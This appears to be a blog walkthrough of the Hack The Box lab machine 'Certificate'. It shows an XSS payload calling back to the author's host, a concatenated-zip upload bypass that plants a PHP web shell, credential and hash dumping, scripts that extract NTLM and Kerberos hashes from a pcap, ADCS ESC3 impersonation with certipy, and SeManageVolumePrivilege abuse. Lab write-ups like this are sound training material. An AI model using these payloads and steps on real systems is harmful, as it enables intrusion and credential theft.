Post

HTB - Certificate

HTB - Certificate

Summary

Enumeration

We start with nothing, but we try an nmap scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# Nmap 7.97 scan initiated Wed Jul 16 10:51:45 2025 as: nmap -vv -sCV -oA nmap/certificate -Pn -T4 --min-rate 1000 -p- 10.10.11.71
Nmap scan report for 10.10.11.71
Host is up, received user-set (0.13s latency).
Scanned at 2025-07-16 10:51:46 HST for 331s
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-title: Did not follow redirect to http://certificate.htb/
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-07-17 04:55:44Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T04:57:17+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:     0252 f5f4 2869 d957 e8fa 5c19 dfc5 d8ba
| SHA-1:   779a 97b1 d8e4 92b5 bafe bc02 3388 45ff dff7 6ad2
| SHA-256: e451 258d 16d9 7f97 7629 698b 7952 4b74 fcb1 4cca b77f 5ce8 2aea 8599 fd38 3d26
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T04:57:16+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:     0252 f5f4 2869 d957 e8fa 5c19 dfc5 d8ba
| SHA-1:   779a 97b1 d8e4 92b5 bafe bc02 3388 45ff dff7 6ad2
| SHA-256: e451 258d 16d9 7f97 7629 698b 7952 4b74 fcb1 4cca b77f 5ce8 2aea 8599 fd38 3d26
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T04:57:17+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:     0252 f5f4 2869 d957 e8fa 5c19 dfc5 d8ba
| SHA-1:   779a 97b1 d8e4 92b5 bafe bc02 3388 45ff dff7 6ad2
| SHA-256: e451 258d 16d9 7f97 7629 698b 7952 4b74 fcb1 4cca b77f 5ce8 2aea 8599 fd38 3d26
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb, Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T04:57:16+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:     0252 f5f4 2869 d957 e8fa 5c19 dfc5 d8ba
| SHA-1:   779a 97b1 d8e4 92b5 bafe bc02 3388 45ff dff7 6ad2
| SHA-256: e451 258d 16d9 7f97 7629 698b 7952 4b74 fcb1 4cca b77f 5ce8 2aea 8599 fd38 3d26
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49691/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         syn-ack Microsoft Windows RPC
49693/tcp open  msrpc         syn-ack Microsoft Windows RPC
49712/tcp open  msrpc         syn-ack Microsoft Windows RPC
49718/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 50770/tcp): CLEAN (Timeout)
|   Check 2 (port 62565/tcp): CLEAN (Timeout)
|   Check 3 (port 43669/udp): CLEAN (Timeout)
|   Check 4 (port 52308/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s
| smb2-time: 
|   date: 2025-07-17T04:56:38
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 16 10:57:17 2025 -- 1 IP address (1 host up) scanned in 331.62 seconds

This shows a web server and your typical Active Directory goodness.

We check dig for any zone-transfer, just on the off chance

1
2
dig axfr certificate.htb @$ip +noall +answer
; Transfer failed

SMB Null session gets authorized, but we cannot enumerate anything even –rid-brutes. The guest account is disabled.

1
2
3
4
5
6
7
8
9
10
nxc smb certificate.htb -u '' -p '' --pass-pol --verbose --rid-brute
[11:10:09] INFO     Socket info: host=10.10.11.71, hostname=certificate.htb, kerberos=False, ipv6=False, link-local ipv6=False                                                                                                connection.py:165
           INFO     Creating SMBv3 connection to 10.10.11.71                                                                                                                                                                         smb.py:606
[11:10:11] INFO     Creating SMBv1 connection to 10.10.11.71                                                                                                                                                                         smb.py:575
           INFO     SMBv1 disabled on 10.10.11.71                                                                                                                                                                                    smb.py:598
           INFO     Resolved domain: certificate.htb with dns, kdcHost: 10.10.11.71                                                                                                                                                  smb.py:321
SMB         10.10.11.71     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False)
           INFO     Creating SMBv3 connection to 10.10.11.71                                                                                                                                                                         smb.py:606
SMB         10.10.11.71     445    DC01             [+] certificate.htb\:
SMB         10.10.11.71     445    DC01             [-] Error connecting: LSAD SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

We can query for the domain sid via RPC but not much else,

1
rpclcient -U '' -N '//certificate.htb' -c 'lsaquery

The webserver is using the Eclipse theme from Colorlib Looking at the base theme and what we have, the main difference is the login panel providing registration and well..logins. So my immediate suspicion goes there. The contact page submission has a different message after posting so that’s also an avenue of exploration.

Registration

We can register an account, but we can’t view any profiles. The one thing to note is our username gets populated into the ‘Welcome back’ slogan. And we can surprisingly register with a username that contains script tags. This is stored XXS stored_xxs

Some issues with registration:

  • Username and email are apparently factors in uniqueness of an account.
  • Usernames have seemingly length limitations for logins
  • Quotes aren’t allowed

Playing with the payload a bit, to figure out how what’s allowed. Figuring out the discoveries above. I defaulted to

1
<script src=http://$my_ip:8000/xxs.js>

Which provides me some call back We have a potential chain here already viewing the clues.

Anything that renders our username will reflect this, teacher accounts apparently need approval, and we need to email them for approval. So, my suspicion is we need to register a teacher with some stored xxs and when they come to check on it we should get a reply.

However, after attempting this nicely thought out plan to see if I ever get a call back from my server, led to some sadness. So I went to explore more functionality of the website and I should have done this sooner, because I can upload files?

upload

This seems more likely the way forward.

Uploads

The site says it only accepts certain file extensions: PDF, docx, pptx, xlsx, and .zip Depending on if they’re interacted with and the versions they all could be potentially vulnerable, but let’s just see if it’s something easier with a simple php reverse shell first. My suspicion is no, given the newer PHP version and the use of HttpOnly cookies, you’d have to go out of your way to execute submitted assignments as php but…always try.

Uploading php content, even with the wrong extension leads to malicious content found. So it is likely running some type of content checking. I tried XLS files but the header is also errored out for an invalid mimetype. However, PDF, docx, ppt, and zip works and we get a visible link to our page. upload_success

The url is an md5sum, I was thinking it might be just the md5sum of our username, but that’s not the case. It does change based on user, but not based on file, so IDOR doesn’t seem likely. I had played with a variety of different possibilities, trying to modify the content to see if an XXE injection was possible, but nothing would let me upload, and there was no guarantee that anyone is actually clicking anything. So after some searching, there’s apparently a method of concatenating zip files that allows for extra malicious files to be tagged along, since content checkers typically only check the last valid zip entry, but unzippers are extra smart and detect another zip and unzip the whole archive. So we craft a payload:

1
2
3
4
5
echo 'test' > z.pdf
echo '<?=`$_GET[0]`?>' > s.php
zip 1.zip z.pdf
zip 2.zip s.php
cat 1.zip 2.zip > 3.zip

You can then unzip this file to see the method at work,

Upload our 3.zip and we get a success:

zip_success

So we can copy that link, and replace it with our shell file, that was also in the zip.

1
2
curl -s http://certificate.htb/static/uploads/3160192f554f27d2f295db22ef5556d9/s.php?0=whoami
certificate\xamppuser 

And we’re in. We can then just get a reverse shell, with revshells after url encoding it and now we navigate

Foothold…now what?

Looking at upload.php in the web directory, does indeed verify that xlsx was just a lie. It also was using winrar to extract the zips and checking if more than one archive was there.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?
// snip
        // Validate file type
        $allowedMimeTypes = ['application/zip', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/pdf', 'application/vnd.openxmlformats-officedocument.presentationml.presentation'];
        $allowedExtensions = ['zip', 'docx', 'pdf', 'pptx'];

// snip

        if ($fileExtension === 'zip') {
                // Extract ZIP file contents
                $zip = new ZipArchive();
                if ($zip->open($fileTmpPath) === true) {
                        if ($zip->count() > 1) {
                                $message = "Please Include a single assignment file in the archive";
                                exit;
                        } else {
                                $innerFileName = $zip->getNameIndex(0);
                                if (!in_array(pathinfo($innerFileName, PATHINFO_EXTENSION), $allowedExtensions)) {
                                        http_response_code(400);
                                        echo "<h1>400 Bad Request</h1>";
                                        echo "<p>The request you sent contains bad or malicious content(Invalid Extension).</p>";
                                        exit;
                                }
                        }
                        echo exec('"C:\\Program Files\\WinRAR\\WinRAR.exe" x -y ' . $fileTmpPath . " " . $destinationDir);
                        $zip->close();
                        // echo "ZIP file successfully extracted to: $destinationDir";
                        $message = "File uploaded successfully!. You can check your uploaded assignment file(in case you want to re-upload it or do some changes) <a href='static/uploads/$md5Directory/$innerFileName'>HERE</a>";
                } else {
                        echo "Failed to open the ZIP file.";
                        exit;
                }
?>

And in side this web folder there is a db.php. This houses some mysql local credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// Database connection using PDO
try {
    $dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';
    $db_user = 'certificate_webapp_user'; // Change to your DB username
    $db_passwd = 'cert!f!c@teDBPWD'; // Change to your DB password
    $options = [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    ];
    $pdo = new PDO($dsn, $db_user, $db_passwd, $options);
} catch (PDOException $e) {
    die('Database connection failed: ' . $e->getMessage());
}
?>

Searching around in this xampp directory, leads us to the mysql folder, it has a binary with which we can dump the database in a readable format (as opposed to using type users.ibd)

1
C:\xampp\mysql\bin\mysqldump.exe -u certificate_webapp_user -p'$PASS' certificate_webapp_db

This reveals some users with their hashes: I reformatted it for readability.

1
2
3
4
5
6
7
username,password
Lorra.AAA,$2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG
Sara1200,$2y$04$pgTOAkSnYMQoILmL6MRXLOOfFlZUPR4lAD2kvWZj.i/dyvXNSqCkK
Johney,$2y$04$VaUEcSd6p5NnpgwnHyh8zey13zo/hL7jfQd9U.PGyEW3yqBf.IxRq
havokww,$2y$04$XSXoFSfcMoS5Zp8ojTeUSOj6ENEun6oWM93mvRQgvaBufba5I5nti
stev,$2y$04$6FHP.7xTHRGYRI9kRIo7deUHz0LX.vx2ixwv0cOW6TDtRGgOhRFX2
sara.b,$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6

The next obvious thing is to try and crack these hashes, even though they’re bcrypt which is pretty computationally complex, what else do we have? Oh we also try a kerbrute to see which usernames might be valid elsewhere.

1
kerbrute userenum -d certificate.htb --dc dc01.certificate.htb users.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 08/01/25 - Ronnie Flathers @ropnop

2025/08/01 09:54:26 >  Using KDC(s):
2025/08/01 09:54:26 >   dc01.certificate.htb:88

2025/08/01 09:54:26 >  [+] VALID USERNAME:       [email protected]
2025/08/01 09:54:31 >  Done! Tested 12 usernames (1 valid) in 5.511 seconds

1
2
3
hashcat users.hashes /seclists/rockyou.txt
# $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6:Bl----

reveals one crack for… sara.b

I verified these credentials with:

1
2
3
nxc smb certificate.htb -u sara.b -p $pass
SMB         10.10.11.71     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.71     445    DC01             [+] certificate.htb\sara.b:$pass

Lateral Movement

We’re in. Next I ran rusthound to gather some active-directory data. It does reveal that we have winrm and remote desktop access, so we can probably grab a flag.

After running rusthound, I have a a python script that quickly tells me all the groups with the users underneath so I have a decent idea of what we should look for, for reference. Bloodhound requires a tad bit more clicking to get that information.

1
./bh_uniques.py -z 20250801110257_certificate-htb_rusthound-ce.zip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
[email protected]
  - ADMINISTRATOR

[email protected]
  - GUEST

REMOTE MANAGEMENT [email protected]
  - RYAN.K
  - LION.SK

SCHEMA [email protected]
  - ADMINISTRATOR

ENTERPRISE [email protected]
  - ADMINISTRATOR

DOMAIN [email protected]
  - ADMINISTRATOR

GROUP POLICY CREATOR [email protected]
  - ADMINISTRATOR

DENIED RODC PASSWORD REPLICATION [email protected]
  - KRBTGT

DOMAIN CRA [email protected]
  - ALEX.D
  - EVA.F
  - LION.SK

[email protected]
  - MAYA.K

[email protected]
  - KARA.M
  - NYA.S

[email protected]
  - AKEDER.KH
  - KAI.X

HELP [email protected]
  - SAAD.M
  - AYA.W
  - JOHN.C
  - SARA.B

DOMAIN STORAGE [email protected]
  - RYAN.K

So we have Sara.b who’s a member of help desk, and other possibly interesting users, could be the Domain CRA Managers, Finance, Marketing, or Domain Storage Managers

Logging in via winrm with the sara.b user already reveals something interesting.

1
gci -recurse
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

    Directory: C:\Users\Sara.B\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        11/4/2024  12:53 AM                WS-01


    Directory: C:\Users\Sara.B\Documents\WS-01


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/4/2024  12:44 AM            530 Description.txt
-a----        11/4/2024  12:45 AM         296660 WS-01_PktMon.pcap

a pcap file, and a description, which tells us there’s some bugginess going with the WS-01 computer with smb authentication. So let’s investigate this pcap file. Downloading it checking what kind of packets we have.

1
2
3
4
5
6
7
8
9
10
11
tshark -r WS-01_PktMon.pcap -T fields -e tcp.dstport -e udp.dstport | sort -nu | head

        53
88
135
        389
445
49667
49673
49692
49693

We have some DNS, some kerberos (oddly), some RPC, LDAP, and SMB.

The issue was the SMB initially so we can actually grab all the ntlm hashes and see if we can crack any, since credentials were given. This script I devised outputs them in hashcat format, since there’s quite a bit, you never know if they mistyped and had close credentials that could be cracked.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env bash

pcap=$1


data_dump=$(tshark -r $pcap -Y 'ntlmssp' -T fields -e ntlmssp.auth.username -e ntlmssp.ntlmserverchallenge  -e ntlmssp.ntlmv2_response.nb_domain_name -e ntlmssp.ntlmv2_response.ntproofstr -e ntlmssp.ntlmv2_response | sed '/^[[:space:]]*$/d')

mapfile -t lines <<< "$data_dump"

for (( i=0; i<${#lines[@]}-1; i+=2)); do
    challenge=$(echo -n "${lines[i]}"  | tr -d '[:space:]')
    IFS=$'\t' read -r user domain ntproof full_blob <<< "${lines[i+1]}"
    if [[ -n "$user" && -n "$domain" && -n "$challenge" && -n "$ntproof" && -n "$full_blob" ]]; then
    blob="${full_blob#$ntproof}"
    echo "$user::$domain:$challenge:$ntproof:${blob}"
    fi
done
1
2
./dump_ntlm_hashes.sh WS-01_PktMon.pcap > smb_hashes
hashcat smb_hashes /seclists/rockyou.txt

Provides us unfortunately with nothing. If you inspect the hashes, that would have been the admin hash, which would have been great.

So unlikely for credential access there, but the other aspect we saw was kerberos.

1
tshark -r WS-01_PktMon -Y 'kerberos'

Then we can do something similar targeting the AS-REQ since the user’s hash will get passed as authentication. A modified script for the kerberos ones. Inspecting the user here is a different one…we have lion.sk who was a member of the Domain CRA Managers which may be useful

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env bash

pcap=$1

# Capture the Kerberos AS-REP messages
data_dump=$(tshark -r "$pcap" -Y 'kerberos.msg_type == 10' \
  -T fields -e kerberos.CNameString -e kerberos.realm -e kerberos.cipher)

# Process each line
while IFS=$'\t' read -r user domain hash; do
    [[ -z $user || -z $domain || -z $hash ]] && continue
    echo "\$krb5pa\$18\$$user\$$domain\$$hash"
done <<< "$data_dump"
1
2
3
./dump_krb5ASREQ_pcap.sh WS-01_PktMon.pcap > lion_sk.hash
hashcat lion_sk.hash /seclists/rockyou.txt

1
$krb5pa$18$Lion.SK$CERTIFICATE$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0:!QA<redacted>

So we have it. These credentials do indeed work, so what can lion.sk do? domain_cra They’re a part of the Domain CRA Managers which is reponsible for issuing and revoking certificates. And this domain doesn’t have the typical User template, it has SignedUser which requires a signed certificate to issue it. This member allows us to issue to request a certificate and then issue new user certificates on behalf of other users. This likely won’t work for every user, but we’ll have to see.

1
certipy find -u lion.sk -p  $pass -target certificate.htb -dc-ip 10.10.11.71 -enabled -output cert_enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
  "Certificate Templates": {
    "0": {
      "Template Name": "Delegated-CRA",
      "Display Name": "Delegated-CRA",
      "Certificate Authorities": [
        "Certificate-LTD-CA"
      ],
      "Enabled": true,
      "Client Authentication": false,
      "Enrollment Agent": true,
      "Any Purpose": false,
      "Enrollee Supplies Subject": false,
      "Certificate Name Flag": [
        33554432,
        67108864,
        536870912,
        2147483648
      ],
      "Enrollment Flag": [
        1,
        8,
        32
      ],
      "Private Key Flag": [
        16
      ],
      "Extended Key Usage": [
        "Certificate Request Agent"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "CERTIFICATE.HTB\\Domain CRA Managers",
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "CERTIFICATE.HTB\\Administrator",
          "Full Control Principals": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "Write Owner Principals": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "Write Property Enroll": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ]
        }
      },
      "[+] User Enrollable Principals": [
        "CERTIFICATE.HTB\\Domain CRA Managers"
      ],
      "[!] Vulnerabilities": {
        "ESC3": "Template has Certificate Request Agent EKU set."
      }
    },
    "1": {
      "Template Name": "SignedUser",
      "Display Name": "Signed User",
      "Certificate Authorities": [
        "Certificate-LTD-CA"
      ],
      "Enabled": true,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": false,
      "Certificate Name Flag": [
        33554432,
        67108864,
        536870912,
        2147483648
      ],
      "Enrollment Flag": [
        1,
        8,
        32
      ],
      "Private Key Flag": [
        16
      ],
      "Extended Key Usage": [
        "Client Authentication",
        "Secure Email",
        "Encrypting File System"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "RA Application Policies": [
        "Certificate Request Agent"
      ],
      "Authorized Signatures Required": 1,
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Domain Users",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "CERTIFICATE.HTB\\Administrator",
          "Full Control Principals": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "Write Owner Principals": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "Write Property Enroll": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Domain Users",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ]
        }
      },
      "[+] User Enrollable Principals": [
        "CERTIFICATE.HTB\\Domain Users"
      ],
      "[*] Remarks": {
        "ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template requires a signature with the Certificate Request Agent application policy."
      }
    },

We can see the the Delegated-CRA certificate is an enrollment agent certificate, with which we can enroll on behalf of other users. The certipy wiki details the attack flow. Request the delegated

1
certipy req -u lion.sk -p $pass -dc-ip 10.10.11.71 -target certificate.htb -ca certificate-ltd-ca -template delegated-cra 

Request on behalf

1
2
3
4
5
6
certipy req -u lion.sk -p $pass -dc-ip 10.10.11.71 -target certificate.htb -ca certificate-ltd-ca -template SignedUser  -pfx $lionsk_cert -on-behalf-of 'Administrator'

[*] Requesting certificate via RPC
[*] Request ID is 24
[-] Got error while requesting certificate: code: 0x80094812 - CERTSRV_E_SUBJECT_EMAIL_REQUIRED - The email name is unavailable and cannot be added to the Subject or Subject Alternate name.

And that delightfully fails due to the email name being unavailable. So what other user might be valuable to try? The only one that is a part of a group that we don’t have real access too that seems exploitable is Ryan.K who in the Domain Storage Managers which, on its surface sounds great and isn’t a default group.

1
2
3
4
5
6
7
8
9
10
certipy  req -u 'lion.sk' -p $pass -dc-ip 10.10.11.71 -target certificate.htb -ca certificate-ltd-ca -template 'SignedUser' -pfx lion.sk.pfx -on-behalf-of ryan.k
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 23
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Saving certificate and private key to 'ryan.k.pfx'
[*] Wrote certificate and private key to 'ryan.k.pfx'

We have a certificate for ryan, so let’s auth, not forgetting the clock skew.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
faketime -f +8hr $HOME/.local/bin/certipy auth -pfx ryan.k.pfx  -dc-ip 10.10.11.71
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: '[email protected]'
[*]     Security Extension SID: 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ryan.k.ccache'
File 'ryan.k.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'ryan.k.ccache'
[*] Trying to retrieve NT hash for 'ryan.k'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:<redacted>

That works! So we can login with kerberos or the hash, I’ll use the hash for simplicity. Then we can see what permissions this fella might have.

1
whoami /priv
1
2
3
4
5
6
7
8
9
10
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                      State
============================= ================================ =======
SeMachineAccountPrivilege     Add workstations to domain       Enabled
SeChangeNotifyPrivilege       Bypass traverse checking         Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set   Enabled

SeManageVolumePrivilege This is apparently an exploitable privilege, that I had never known about. A simple exe can be ran that actually grants full permissions for most of the drive and potentially shell acess. How it’s hardcoded just goes through replacing Admin SIDS with the Users SID, which we can see in the icacls output. However, there’s something else that might be of interest since we’re on the DC and there’s no other pivot points here, there’s going to be the root certificate on the machine. So if we run certutil -store My we would be querying the Cryptographic Service Provider or CSP for the private key, it obviously knows where the private keys are but unless we have read access we can’t export them. But perhaps this the SeManageVolumeExploit will let us export the Root-CA and with that, we would be able to do whatever we want, since we could forge certificates, create templates, anything we want, it’s a Golden Certificate.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
icacls C:\Programdata\Microsoft\Crypto\RSA
# C:\Programdata\Microsoft\Crypto\RSA NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
#                                     BUILTIN\Administrators:(I)(OI)(CI)(F)
#                                     BUILTIN\Pre-Windows 2000 Compatible Access:(I)(OI)(CI)(RX)
#                                     Everyone:(I)(OI)(CI)(RX)

#Successfully processed 1 files; Failed processing 0 files
 .\Semanage*
#Entries changed: 856
#
#DONE
#
icacls C:\Programdata\Microsoft\Crypto\RSA
#C:\Programdata\Microsoft\Crypto\RSA NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
#                                    BUILTIN\Users:(I)(OI)(CI)(F)
#                                    BUILTIN\Pre-Windows 2000 Compatible Access:(I)(OI)(CI)(RX)
#                                    Everyone:(I)(OI)(CI)(RX)
#
#Successfully processed 1 files; Failed processing 0 files

We can try to read some typical things that we would want, perhaps root.txt or the SAM or SYSTEM hives, but we can’t, this could be due to the SID for these being different.

1
2
3
4
5
6
icacls C:\Users\Administrator\Desktop\root.txt
C:\Users\Administrator\Desktop\root.txt CERTIFICATE\Administrator:(F)
                                        NT AUTHORITY\SYSTEM:(I)(F)
                                        BUILTIN\Users:(I)(F)
                                        CERTIFICATE\Administrator:(I)(F)

We do have full access, but there’s apparently some extra restriction going on with our access to this. However, if we run:

1
certutil -store My
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
================ Certificate 2 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 3:55 PM
 NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
  Key Container = Certificate-LTD-CA
